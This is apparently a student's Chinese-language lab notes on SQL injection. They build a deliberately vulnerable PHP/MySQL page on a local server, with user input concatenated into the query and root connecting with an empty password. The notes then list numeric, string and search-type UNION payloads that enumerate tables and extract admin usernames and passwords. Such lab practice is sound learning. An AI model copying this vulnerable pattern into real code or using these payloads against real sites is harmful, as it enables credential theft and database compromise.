偶听到小迪的教程,根据教程课后自己搭建学习,感谢小迪教程!
实验环境:
wampserver2.4-x86,Sublime Text 3
实验步骤:
在mysql数据库中新建数据表
插入数据
数字型注入
使用Sublime Text 3编写php代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>sql数字型注入</title>
<body>
<?php
//数字型注入
$id=@$_GET['id'];
//不报错
if(isset($id)&&!empty($id)){
$con=mysql_connect("127.0.0.1","root","");//连接数据库
mysql_select_db("cmsdomo",$con);//选择数据库
$sql="select * from test where id=$id";//sql语句
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo "ID:".$row['id']."<br/>";
echo "用户名:".$row['name']."<br/>";
//循环输出
}
mysql_close($con);//关闭数据库
echo "<hr/>";
echo "当前执行的sql语句:".$sql;
}else{
echo "没有获取到ID";
}
?>
</body>
</html>
代码不是很美观,再附加一张图片
将代码保存为demo.php,放在C:/wamp/www,进行访问
在浏览器中输入http://127.0.0.1/demo.php
从源代码中可以看到,sql语句直接接收了id参数值,存在明显的sql注入
输入id=1,查询到结果,返回正常
加单引号,报错,存在注入点
使用order by 查询该表的字段数,order by 2返回正常,3返回不正常,证明存在两个字段
使用database()函数爆出数据库名
使用该语句查询数据表,语句如下
union select table_name,2 from information_schema.tables where table_schema = database()
注意字段数为2
查询admin表,语句如下:
union select column_name,2 from information_schema.columns where table_schema=database() and table_name=0x61646D696E
注意0x61646D696E为admin的十六进制编码
获取信息,语句为:
union select username,password from admin
注意:还是两个字段,所以是username,password
字符型注入
修改php源代码的sql语句
再次测试
语句为:
id=1' union select 1,2 and '1'='1
同理以上的数字型注入
搜索型注入
修改源代码,下面不变
语句为
key=a%' order by 2 and '%=
同理数字型注入